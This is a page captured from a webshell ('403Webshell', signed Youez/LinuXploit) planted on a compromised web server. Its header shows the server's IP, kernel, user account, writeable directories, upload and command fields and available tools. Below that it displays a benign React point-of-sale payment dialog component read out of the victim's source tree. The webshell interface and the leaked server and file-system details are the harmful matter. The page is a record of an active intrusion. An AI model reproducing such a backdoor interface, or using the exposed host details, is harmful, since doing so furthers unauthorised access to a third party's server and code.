403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/NAOPOS/src/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/NAOPOS/src/components/PaymentModal.tsx
import { useState } from "react";
import { Dialog, DialogContent, DialogHeader, DialogTitle } from "@/components/ui/dialog";
import { CreditCard, Banknote, Delete } from "lucide-react";
import { PaymentMethod } from "@/types/sales";
import { CartItem } from "@/components/Cart";

interface PaymentModalProps {
  open: boolean;
  onClose: () => void;
  onComplete: (method: PaymentMethod, amountTendered?: number) => void;
  items: CartItem[];
}

const PaymentModal = ({ open, onClose, onComplete, items }: PaymentModalProps) => {
  const [step, setStep] = useState<"method" | "cash">("method");
  const [cashDisplay, setCashDisplay] = useState("0.00");
  const formatCurrencyInput = (digits: string) => {
    const cents = parseInt(digits, 10) || 0;
    return (cents / 100).toFixed(2);
  };

  const subtotal = items.reduce((s, i) => s + i.price * i.quantity, 0);
  const tax = items.reduce((s, i) => {
    if (i.taxRate) return s + i.price * i.quantity * (i.taxRate / 100);
    return s;
  }, 0);
  const total = subtotal + tax;

  const handleDigit = (d: string) => {
    setCashDisplay((prev) => {
      const raw = prev.replace(".", "").replace(/^0+/, "");
      return formatCurrencyInput(`${raw}${d}`);
    });
  };

  const handleClear = () => setCashDisplay("0.00");

  const handleBackspace = () => {
    setCashDisplay((prev) => {
      const raw = prev.replace(".", "").replace(/^0+/, "");
      const next = raw.length <= 1 ? "0" : raw.slice(0, -1);
      return formatCurrencyInput(next);
    });
  };

  const cashAmount = parseFloat(cashDisplay);
  const changeDue = cashAmount - total;

  const handleCashComplete = () => {
    if (cashAmount >= total) {
      onComplete("cash", cashAmount);
      resetState();
    }
  };

  const handleCreditComplete = () => {
    onComplete("credit");
    resetState();
  };

  const resetState = () => {
    setStep("method");
    setCashDisplay("0.00");
  };

  const handleClose = () => {
    resetState();
    onClose();
  };

  const quickAmounts = [1, 5, 10, 20, 50, 100];

  const handleQuickAmount = (amt: number) => {
    setCashDisplay(formatCurrencyInput(Math.round(amt * 100).toString()));
  };

  return (
    <Dialog open={open} onOpenChange={handleClose}>
      <DialogContent className="sm:max-w-md bg-card border-border">
        <DialogHeader>
          <DialogTitle className="text-foreground text-lg font-extrabold">
            {step === "method" ? "Payment Method" : "Cash Payment"}
          </DialogTitle>
        </DialogHeader>

        {/* Total display */}
        <div className="rounded-xl bg-background border border-border px-4 py-3 text-center">
          <p className="text-xs text-muted-foreground font-semibold">Total Due</p>
          <p className="text-3xl font-extrabold text-foreground font-mono">${total.toFixed(2)}</p>
        </div>

        {step === "method" ? (
          <div className="grid grid-cols-2 gap-3">
            <button
              onClick={() => setStep("cash")}
              className="flex flex-col items-center gap-2 rounded-xl bg-success/15 border border-success/30 p-6 hover:bg-success hover:text-success-foreground transition-all active:scale-95"
            >
              <Banknote className="h-10 w-10" />
              <span className="text-sm font-bold">Cash</span>
            </button>
            <button
              onClick={handleCreditComplete}
              className="flex flex-col items-center gap-2 rounded-xl bg-primary/15 border border-primary/30 p-6 hover:bg-primary hover:text-primary-foreground transition-all active:scale-95"
            >
              <CreditCard className="h-10 w-10" />
              <span className="text-sm font-bold">Credit Card</span>
            </button>
          </div>
        ) : (
          <div className="space-y-3">
            {/* Cash tendered display */}
            <div className="rounded-xl bg-background border border-border px-4 py-3 text-right">
              <p className="text-xs text-muted-foreground font-semibold">Cash Tendered</p>
              <p className="text-3xl font-extrabold text-foreground font-mono">${cashDisplay}</p>
            </div>

            {/* Change due */}
            <div className={`rounded-xl border px-4 py-2 text-center ${
              cashAmount >= total
                ? "bg-success/15 border-success/30"
                : "bg-destructive/10 border-destructive/20"
            }`}>
              <p className="text-xs font-semibold text-muted-foreground">Change Due</p>
              <p className={`text-2xl font-extrabold font-mono ${
                cashAmount >= total ? "text-success" : "text-destructive"
              }`}>
                ${changeDue >= 0 ? changeDue.toFixed(2) : "—"}
              </p>
            </div>

            {/* Quick amounts */}
            <div className="grid grid-cols-3 gap-2">
              {quickAmounts.map((amt) => (
                <button
                  key={amt}
                  onClick={() => handleQuickAmount(amt)}
                  className="rounded-lg bg-secondary border border-border py-2 text-sm font-bold text-foreground hover:bg-primary hover:text-primary-foreground active:scale-95 transition-all"
                >
                  ${amt}
                </button>
              ))}
            </div>

            {/* Numpad */}
            <div className="grid grid-cols-3 gap-2">
              {["7","8","9","4","5","6","1","2","3"].map((d) => (
                <button
                  key={d}
                  onClick={() => handleDigit(d)}
                  className="rounded-lg bg-background border border-border py-2.5 text-lg font-bold text-foreground hover:bg-secondary active:scale-95 transition-all"
                >
                  {d}
                </button>
              ))}
              <button onClick={handleClear} className="rounded-lg bg-destructive/10 border border-destructive/20 py-2.5 text-sm font-bold text-destructive active:scale-95 transition-all">CLR</button>
              <button onClick={() => handleDigit("0")} className="rounded-lg bg-background border border-border py-2.5 text-lg font-bold text-foreground hover:bg-secondary active:scale-95 transition-all">0</button>
              <button onClick={handleBackspace} className="rounded-lg bg-background border border-border py-2.5 text-lg font-bold text-foreground hover:bg-secondary active:scale-95 transition-all flex items-center justify-center">
                <Delete className="h-5 w-5" />
              </button>
            </div>

            {/* Actions */}
            <div className="grid grid-cols-2 gap-2">
              <button
                onClick={() => setStep("method")}
                className="rounded-xl bg-secondary py-3 text-sm font-bold text-secondary-foreground hover:bg-border transition-all"
              >
                Back
              </button>
              <button
                onClick={handleCashComplete}
                disabled={cashAmount < total}
                className="rounded-xl bg-success py-3 text-sm font-bold text-success-foreground shadow-md hover:opacity-90 disabled:opacity-40 disabled:cursor-not-allowed active:scale-[0.98] transition-all"
              >
                Complete Sale
              </button>
            </div>
          </div>
        )}
      </DialogContent>
    </Dialog>
  );
};

export default PaymentModal;

Youez - 2016 - github.com/yon3zu
LinuXploit